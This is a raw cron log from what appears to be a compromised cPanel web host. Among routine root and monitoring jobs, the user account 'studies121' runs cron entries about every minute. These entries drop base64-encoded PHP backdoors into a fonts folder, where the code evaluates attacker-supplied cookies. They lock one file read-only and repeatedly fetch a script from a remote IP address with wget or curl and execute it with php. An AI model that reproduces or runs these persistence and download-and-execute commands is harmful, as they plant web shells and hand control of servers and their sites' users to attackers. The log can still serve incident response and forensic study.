Sep  2 06:09:01 ip-184-168-122-23 CROND[26365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:09:01 ip-184-168-122-23 CROND[26372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:10:01 ip-184-168-122-23 CROND[26581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:10:01 ip-184-168-122-23 CROND[26582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:10:01 ip-184-168-122-23 CROND[26585]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 06:10:01 ip-184-168-122-23 CROND[26589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:10:01 ip-184-168-122-23 CROND[26588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:10:01 ip-184-168-122-23 CROND[26586]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:10:01 ip-184-168-122-23 CROND[26587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:10:01 ip-184-168-122-23 CROND[26590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:11:01 ip-184-168-122-23 CROND[26696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:11:01 ip-184-168-122-23 CROND[26697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:11:01 ip-184-168-122-23 CROND[26698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:11:01 ip-184-168-122-23 CROND[26699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:12:01 ip-184-168-122-23 CROND[26834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:12:01 ip-184-168-122-23 CROND[26837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:12:01 ip-184-168-122-23 CROND[26838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:12:01 ip-184-168-122-23 CROND[26839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:12:01 ip-184-168-122-23 CROND[26836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:13:01 ip-184-168-122-23 CROND[26963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:13:01 ip-184-168-122-23 CROND[26966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:13:01 ip-184-168-122-23 CROND[26964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:13:01 ip-184-168-122-23 CROND[26965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:14:01 ip-184-168-122-23 CROND[27073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:14:01 ip-184-168-122-23 CROND[27072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:14:01 ip-184-168-122-23 CROND[27078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:14:01 ip-184-168-122-23 CROND[27075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:14:01 ip-184-168-122-23 CROND[27077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:15:01 ip-184-168-122-23 CROND[27187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:15:01 ip-184-168-122-23 CROND[27190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:15:01 ip-184-168-122-23 CROND[27189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:15:01 ip-184-168-122-23 CROND[27192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:15:01 ip-184-168-122-23 CROND[27193]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  2 06:15:01 ip-184-168-122-23 CROND[27191]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 06:15:01 ip-184-168-122-23 CROND[27194]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:15:01 ip-184-168-122-23 CROND[27195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:16:01 ip-184-168-122-23 CROND[27418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:16:01 ip-184-168-122-23 CROND[27420]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 06:16:01 ip-184-168-122-23 CROND[27422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:16:01 ip-184-168-122-23 CROND[27425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:16:01 ip-184-168-122-23 CROND[27423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:16:01 ip-184-168-122-23 CROND[27424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:17:01 ip-184-168-122-23 CROND[27587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:17:01 ip-184-168-122-23 CROND[27588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:17:01 ip-184-168-122-23 CROND[27590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:17:01 ip-184-168-122-23 CROND[27593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:18:01 ip-184-168-122-23 CROND[27691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:18:01 ip-184-168-122-23 CROND[27693]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:18:01 ip-184-168-122-23 CROND[27694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:18:01 ip-184-168-122-23 CROND[27695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:18:01 ip-184-168-122-23 CROND[27696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:19:01 ip-184-168-122-23 CROND[27808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:19:01 ip-184-168-122-23 CROND[27810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:19:01 ip-184-168-122-23 CROND[27811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:19:01 ip-184-168-122-23 CROND[27812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:20:01 ip-184-168-122-23 CROND[27914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:20:01 ip-184-168-122-23 CROND[27915]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 06:20:01 ip-184-168-122-23 CROND[27918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:20:01 ip-184-168-122-23 CROND[27919]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:20:01 ip-184-168-122-23 CROND[27923]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 06:20:01 ip-184-168-122-23 CROND[27921]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 06:20:01 ip-184-168-122-23 CROND[27927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:20:01 ip-184-168-122-23 CROND[27928]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:20:01 ip-184-168-122-23 CROND[27929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 06:21:01 ip-184-168-122-23 CROND[28384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:21:01 ip-184-168-122-23 CROND[28386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 06:21:01 ip-184-168-122-23 CROND[28390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
